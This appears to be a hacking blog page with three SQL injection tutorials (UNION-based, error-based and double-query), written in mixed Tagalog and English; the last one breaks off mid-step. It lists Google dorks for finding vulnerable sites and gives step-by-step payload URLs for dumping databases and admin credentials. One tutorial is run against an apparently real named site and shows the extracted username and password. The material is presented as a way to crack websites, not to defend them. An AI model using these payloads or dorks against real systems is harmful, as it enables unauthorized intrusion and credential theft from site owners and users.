Captain Teemo On Duty: hacking

UNION Based SQL injection Tutorial

Hi Friends! eto ang Tutorial ng "SQLI URL BASED"One of the methods in Hacking and Cracking a Websitei called this "simple sql injection is because its so easy to bypass :3 ' SQL(Structered Query Language) Injection Tutorial: 
                              <img height="443" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7F7CkAurWmwDLsmxGWVnh0QgNrb9nlFPo2dhtEOcsdl_AvVuL7HdeqKkLvaRNB-PMlwxn2T2xfjHLKtDnZcClpaI8tPNKT62yD-qWIeVRKt59F_ZcXyG8pqhWx02ewp1eQZvWXz_dtEs/s640/1385982_223015477859995_573851403_n.jpg" width="640" /> 
Tools Needed:  SQLI scanner = google nalang po.. Hack Bar = Just download this on mozilla firefox add ons, Dorks = eto gamit para maghanap ng sites na pwede i inject. :D Fingers = for typing VPN(virtual private network) and Proxies = di ko na to i explain, :3 i google nalang BRAIN Optional Tools Havij and other automatic tools = ang tool na to ay automatic sql injection tool, di ka na gagamit typing, just clicks.. Note: kung gusto mo gumaling sa Sql Injection, Mag start ka muna sa Manual, coz thats the key for you to become a good injector :)) Steps: Some of the google Dorks: There are many google dorks, about hundreds, and you can find it on google, search lang. inurl:index.php?id= inurl:trainers.php?id= inurl:buy.php?category= inurl:article.php?ID= inurl:declaration_more.php?decl_id= inurl:pageid=inurl:games.php?id= inurl:page.php?file= inurl:newsDetail.php?id= inurl:gallery.php?id= inurl:article.php?id= inurl:show.php?id= inurl:staff_id= Ok Lets Start:I search mo To sa google:inurl:index.php?id=Note: kung gusto mo ng site ng specifec na bansa o lugar just add " Site:TW " :) ex. inurl:index.php?id= Site:TW TW stands for taiwan kasi op taiwan daw. :3 1st. Finding vulnerable sites,  2nd. Finding amount of columns, 3rd. Getting mysql version,  4th. Getting Databases, 5th. Getting Tables,  6th Getting Columns, 7th Getting Usernames and Passwords 1. Finding vulnerable sites Ex. eto vulnerable site ko....http://www.SAMPLESITE.com.tw/index.php?id=32 para malaman mo kung vulnerable ang site mag type ng ( ' ) sa dulo ng url ex. http://www.SAMPLESITE.com.tw/index.php?id=32' Pag may  maglabas ng error, like error in sql syntax .............................................................. near line 1 2. Finding Amount of Columns  Para makuha mo kung ilan ang columns, gagamitin mo ang query ma "order by #--ok,lets try order by 1--  => no error http://www.SAMPLESITE.com.tw/index.php?id=32 order by 2--  => no error http://www.SAMPLESITE.com.tw/index.php?id=32 order by 3--  => no error http://www.SAMPLESITE.com.tw/index.php?id=32 order by 4--  => no error http://www.SAMPLESITE.com.tw/index.php?id=32 order by 5--  => no error http://www.SAMPLESITE.com.tw/index.php?id=32 order by 6--  => no error http://www.SAMPLESITE.com.tw/index.php?id=32 order by 7--   ==>> May error na So ibig sabihin ang columns 6 lang kasi ang error hanggang 7.. :D ngayon hanapin na tin ang vulnerable column. To do this please folow me: http://www.SAMPLESITE.com.tw/index.php?id=-32 union all select 1,2,3,4,5,6-- After id= please insert [-] and it means null. ngaun may makikita kang numbers sa website, let's say ang number na nakita ko is 4 so sa column 4 ako mag iinject. 3. Getting Mysql Version Now we wanna know the MySQL version. If its over 5 then its injectable by this Tut. (if its under 4 then you have to guess tables and columns). http://www.SAMPLESITE.com.tw/index.php?id=-32 union all select 1,2,3,@@version,5,6-- In the vulnerable column we use @@version o version() instead of column number.ok we find it. 4. Getting Databases Now we wanna find the databases and the Current database.Here the syntax for all databases:EX. http://www.SAMPLESITE.com.tw/index.php?id=-32 union all select 1,2,3,group_concat(schema_name),5,6 from information_schema.schemata-- Now wel would like to now what is the current database, it's pretty obvious in this case but usefull sometimes. Syntax for current database: www.SAMP:ESITE/index_en.php?id=-7 union all select 1,2,3,database(),5,6 from information_schema.schemata-- okay, nahanap na.. 5th Getting Tables ngayon gusto natin malaman ang tables ng column #4, Follow me http://www.SAMPLESITE.com.tw/index.php?id=-32 union all select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema=database()-- so may makikit kang tables, hanapin ang table ng admin,Maraming tables ang admin merong, administrator, users, etc/ di ko masyado maexplain, pensa ya lang... use brain..ex. table na nandito sa akin users 6. Getting Columns,  hahanapin natin ang columns, so will use following code: http://www.SAMPLESITE.com.tw/index.php?id=-32 union all select 1,2,3,group_concat(column_name),5,6,7,8 from information_schema.columns where table_name=CHAR(117, 115, 101, 114)-- okay, obeserve mo mabuti ang column..  diba pinalitang ang (column_name) , _schema.Columns , table_name at ung database binura at pinalitan ng mysql char ng userskasi users ang table na i dudump natin.Follow. para makuha ang sql char ng "users" sa top left ng hackber may sql. before XSs, click mo un, tapos MYSQL tapos mysql CHAR, den type mo ang string "Users" at llaalalabas to CHAR(117, 115, 101, 114).. okay? gets? 7. Dumping users/pass (getting data)  Follow this steps Now you would like to dump logins and passwords. http://www.SAMPLESITE.com.tw/index.php?id=-32 union all select 1,2,3,group_concat(login,0x3a,pass),5,6 from users-- so ayan na. nakuha mo na ang username at pass ex. admin:12345!@#$% Lets Celebrate.. :D Note: maramimi pang methods, techniques, at bypasses ang sqli. examples are: Bypassing String basedSqli error based Sqli sql injection (double query eror based) ASP  :D lol SQli double query at ang blind sqli  ang di ko pa masyado kabisado. :D maramiing ways rin sa pag exploit at pag bypass ng website, kasi halos lahat na may vulnerablilities like Upload vulnerabelaties XSS CSFG IIS exploits   etc... bla2x,stay tuned for nex TUTS.... :)

UNION Based SQL injection Tutorial

Hi Friends! eto ang Tutorial ng "SQLI URL BASED"One of the methods in Hacking and Cracking a Websitei called this "simple sql...

ERROR Based SQL Injection Tutorial

<img height="311" src="https://fbcdn-sphotos-a-a.akamaihd.net/hphotos-ak-prn2/q71/1391486_219821804846029_589202411_n.jpg" width="640" /> 
SQL INJECTION WHERE THE VERSION IS LESS THAN 5. Last time,  :D Today i’m going to teach you how to inject a website, that has version less than 5. 
 As example,i’m taking this site. 
 
 
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
<a href="http://www.ultimatehomedesign.com/news-detail.php?id=312" rel="nofollow" style="color: #3b5998; cursor: pointer; font-family: 'Helvetica Neue', Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 20px; text-decoration: none;" target="_blank">http://www.ultimatehomedesign.com/news-detail.php?id=312</a></blockquote>
 NOTE : Don’t step ahead if you don’t know UNION BASED Sql injection. 
 Getting Version Now,lets check the version with error based query. 
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
+or+1+group+by+concat_ws(0x7e,version (),floor(rand(0)*2))+having+min(0)+or+1–</blockquote>
Version : Duplicate entry ’4.1.22-standard~1′ for key 1 
 Getting Tables This site don’t have information_schema . The version is less than 5. We have to guess the table names. This should be our syntax to guess the tables. 
 
 
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
or+1+group+by+concat_ws(0x7e,(select+1+from+ Guess_table +limit+0,1),floor(rand(0)*2))+having+min(0)+or+1–</blockquote>
Now he we have to guess table name with this syntax. Some tables that usuallycontains login data : admin amdinstator tbl_admin tbl_adminstator login member user users table_users settings 
 Now i’m trying to guess table name with the syntax. 
 <a href="https://www.facebook.com/notes/sp4nksta/error-based-sql-injection-where-version-is-less-than-5/224858917675651#" role="button" style="color: #3b5998; cursor: pointer; text-decoration: none;"></a>
 
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
<a href="http://www.ultimatehomedesign.com/news-detail.php?id=312+or+1+group+by+concat_ws" rel="nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">http://www.ultimatehomedesign.com/news-detail.php?id=312+or+1+group+by+concat_ws</a>(0x7e,(select+1+from+admin+limit+0,1),floor(rand(0)*2))+having+min(0)+or+1–</blockquote>
 
 I tried to guess admin table. There is no table in the database named admin . So error came up : Table ‘uhd.admin’ doesn’t exist Lets try to guess another table. 
 <a href="https://www.facebook.com/notes/sp4nksta/error-based-sql-injection-where-version-is-less-than-5/224858917675651#" role="button" style="color: #3b5998; cursor: pointer; text-decoration: none;"></a>
 
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
<a href="http://www.ultimatehomedesign.com/news-detail.php?id=312+or+1+group+by+concat_ws" rel="nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">http://www.ultimatehomedesign.com/news-detail.php?id=312+or+1+group+by+concat_ws</a>(0x7e,(select+1+from+adminstator+limit+0,1),floor(rand(0)*2))+having+min(0)+or+1–</blockquote>
 
 Again error came up. There is no table in the database named adminstator 
So error came up : Table ‘uhd.adminstator’ doesn’t exist Lets try with another table : 
 <a href="https://www.facebook.com/notes/sp4nksta/error-based-sql-injection-where-version-is-less-than-5/224858917675651#" role="button" style="color: #3b5998; cursor: pointer; text-decoration: none;"></a>
 
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
<a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.ultimatehomedesign.com%2Fnews-detail.php%3Fid%3D312%2Bor%2B1%2Bgroup%2Bby%2Bconcat_ws&h=OAQE9XA1B&s=1" rel="nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">http://www.ultimatehomedesign.com/news-detail.php?id=312+or+1+group+by+concat_ws</a>(0x7e,(select+1+from+users+limit+0,1),floor(rand(0)*2))+having+min(0)+or+1–</blockquote>
 
 So users table exists. No error came up : Duplicate entry ’1~1′ for key 1 Getting Columns Now,we have to guess column name. So syntax to get columns should be like this: 
 
 
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
+or+1+group+by+concat_ws(0x7e,(select+ column_name +from+ table_name +limit+0,1),floor(rand(0)*2))+having+min(0)+or+1–</blockquote>
Username is the most common table. Lets try with it. 
 <a href="https://www.facebook.com/notes/sp4nksta/error-based-sql-injection-where-version-is-less-than-5/224858917675651#" role="button" style="color: #3b5998; cursor: pointer; text-decoration: none;"></a>
 
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
<a href="http://www.ultimatehomedesign.com/news-detail.php?id=309+or+1+group+by+concat_ws" rel="nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">http://www.ultimatehomedesign.com/news-detail.php?id=309+or+1+group+by+concat_ws</a>(0x7e,(select+username+from+users+limit+0,1),floor(rand(0)*2))+having+min(0)+or+1–</blockquote>
 
 Error came up. The column doesn’t exist Unknown column ‘username’ in ‘field list’ Lets try to guess another column user_name . 
 <a href="https://www.facebook.com/notes/sp4nksta/error-based-sql-injection-where-version-is-less-than-5/224858917675651#" role="button" style="color: #3b5998; cursor: pointer; text-decoration: none;"></a>
 
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
<a href="http://www.ultimatehomedesign.com/news-detail.php?id=309+or+1+group+by+concat_ws" rel="nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">http://www.ultimatehomedesign.com/news-detail.php?id=309+or+1+group+by+concat_ws</a>(0x7e,(select+user_name+from+users+limit+0,1),floor(rand(0)*2))+having+min(0)+or+1–</blockquote>
 
 Now the site loads good. That means user_name exists. Now try to guess the password column. Lets try with user_pass . 
 <a href="https://www.facebook.com/notes/sp4nksta/error-based-sql-injection-where-version-is-less-than-5/224858917675651#" role="button" style="color: #3b5998; cursor: pointer; text-decoration: none;"></a>
 
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
<a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.ultimatehomedesign.com%2Fnews-detail.php%3Fid%3D309%2Bor%2B1%2Bgroup%2Bby%2Bconcat_ws&h=mAQGVET4U&s=1" rel="nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">http://www.ultimatehomedesign.com/news-detail.php?id=309+or+1+group+by+concat_ws</a>(0x7e,(select+user_pass+from+users+limit+0,1),floor(rand(0)*2))+having+min(0)+or+1–</blockquote>
 
Extracting data from columns To get data from columns,our syntax should be this : 
 
 
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
or+1+group+by+concat_ws(0x7e,(select+concat( column_name ,0x7e, column_name )+from+ table_name +limit+0,1),floor(rand(0)*2))+having+min(0)+or+1–</blockquote>
 
Some times, this query don’t works,as this query don’t works on this site. We have to use substring. Getting Username: <a href="https://www.facebook.com/notes/sp4nksta/error-based-sql-injection-where-version-is-less-than-5/224858917675651#" role="button" style="color: #3b5998; cursor: pointer; text-decoration: none;"></a> 
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
<a href="http://www.ultimatehomedesign.com/news-detail.php?id=309+and+" rel="nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">www.ultimatehomedesign.com/news-detail.php?id=309+and+</a>(select+1+from+(select+count(*),concat((select(select+concat(cast(concat(substring(user_name,1,25))+as+char),0x7e))+from+users+limit+0,1),floor(rand(0)*2))x+from+users+group+by+x)a)</blockquote>
 
 With this subtrinquery function we can combine a complex question. This query attempts to retrieve the name database of a database table. One character at a time. The substing function will return the first character of query’s result The username cames up in the query : Duplicate entry ‘root~1′ for key 1 Getting Password : <a href="https://www.facebook.com/notes/sp4nksta/error-based-sql-injection-where-version-is-less-than-5/224858917675651#" role="button" style="color: #3b5998; cursor: pointer; text-decoration: none;"></a> 
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
<a href="http://www.ultimatehomedesign.com/news-detail.php?id=309+and+" rel="nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">http://www.ultimatehomedesign.com/news-detail.php?id=309+and+</a>(select+1+from+(select+count(*),concat((select(select+concat(cast(concat(substring(user_pass,1,25))+as+char),0x7e))+from+users+limit+0,1),floor(rand(0)*2))x+from+users+group+by+x)a)</blockquote>
Password came up : Duplicate entry ‘trump123~1′ for key 1  
Hope you learned something. :D Okay Mates, Stay Tuned For the Next Tutorial OF SQL injection :D

ERROR Based SQL Injection Tutorial

SQL INJECTION WHERE THE VERSION IS LESS THAN 5. Last time, :D Today i’m going to teach you how to inject a website, that has version le...

Sql injection (double query eror based) Tutorial Step by step

<img height="392" src="https://fbcdn-sphotos-h-a.akamaihd.net/hphotos-ak-ash4/q71/1006369_224857387675804_2141167807_n.jpg" width="640" /> 
<div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 20px;">
Sql injection (double query eror based)</div>
<div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 20px;">
 Today i will teach you how can we use sql injection(double query) 
so for this first you need vuln site..</div>
<div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 20px;">
 </div>
<div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 20px;">
 
 
ok after getting a vuln site as a normal you get the column counts 
 
suppose it has 4 columns so next your comand will be 
 
 
Code: 
<a href="https://www.facebook.com/notes/sp4nksta/sql-injection-double-query-error-based-injection/224858304342379#" role="button" style="color: #3b5998; cursor: pointer; text-decoration: none;"></a></div>
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
<a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.site.com%2Findex.php%3Fid%3D-12&h=SAQG65eFK&s=1" rel="nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">www.site.com/index.php?id=-12</a> union select 1,2,3,4--</blockquote>
 
but when you press enter it gives eror :-0 
 
the eror is 
Code: 
(select statment have diffrent numbers of column) 
so now what?? 
 
dont be cunfused its time for using double query sql injection 
 
so your command will look like this:- 
 
 
Code: 
<a href="https://www.facebook.com/notes/sp4nksta/sql-injection-double-query-error-based-injection/224858304342379#" role="button" style="background-color: white; color: #3b5998; cursor: pointer; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px; text-decoration: none;"></a> 
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
<a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.site.com%2Findex.php%3Fid%3D-12%2Band%2B&h=UAQFy3FFg&s=1" rel="nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">www.site.com/index.php?id=-12+and+</a>(select+1+from(select count(*),concat((select+concat(version())+from+information_schema.tables+limit+0,1),floor(Rand(0)*2))a+fr 
om+information_schema.tables+group+by+a)b)</blockquote>
 
<div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 20px;">
 
and result will look like this 
 
Code: 
<blockquote class="tr_bq" style="background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-size: 15px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
"Duplicate entry '5.0.92-community-log1' for key 1"so here '5.0.92-community-log1' is sites version.</blockquote>
 
now we have to find sites current_user so our command will be:- 
 
Code: 
<a href="https://www.facebook.com/notes/sp4nksta/sql-injection-double-query-error-based-injection/224858304342379#" role="button" style="color: #3b5998; cursor: pointer; text-decoration: none;"></a> 
<blockquote class="tr_bq" style="background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-size: 15px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
<a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.site.com%2Findex.php%3Fid%3D-12%2Band%2B&h=lAQGWnCWF&s=1" rel="nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">www.site.com/index.php?id=-12+and+</a>(select+1+from(select count(*),concat((select+concat(current_user())+from+information_schema.tables+limit+0,1),floor(Rand(0)*2))a+from+information_schema.tables+group+by+a)b)</blockquote>
result 
Code: 
<blockquote class="tr_bq" style="background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-size: 15px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
"Duplicate entry user+localhost1' for key 1"</blockquote>
ok now we will find tables name so our command will be:- 
 
 
Code: 
<a href="https://www.facebook.com/notes/sp4nksta/sql-injection-double-query-error-based-injection/224858304342379#" role="button" style="color: #3b5998; cursor: pointer; text-decoration: none;"></a> 
<blockquote class="tr_bq" style="background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-size: 15px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
<a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.site.com%2Findex.php%3Fid%3D-12%2Band%2B&h=NAQFxHtqU&s=1" rel="nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">www.site.com/index.php?id=-12+and+</a>(select+1+from(select count(*),concat((select+concat(table_name)+from+information_schema.tables+limit+0,1),floor(Rand(0)*2))a+from+information_schema.tables+group+by+a)b)</blockquote>
 
result will be 
Code: 
<blockquote class="tr_bq" style="background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-size: 15px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
"duplicate entry 'table_name1' for key 1'now keep incresing the limit you can find it near</blockquote>
Code: 
<blockquote class="tr_bq" style="background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-size: 15px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
((table_name)+from+information_schema.tables+limit+0,1) )</blockquote>
 
ok now we will find tables which contains the data so our command will be:- 
 
 
Code: 
<a href="https://www.facebook.com/notes/sp4nksta/sql-injection-double-query-error-based-injection/224858304342379#" role="button" style="color: #3b5998; cursor: pointer; text-decoration: none;"></a> 
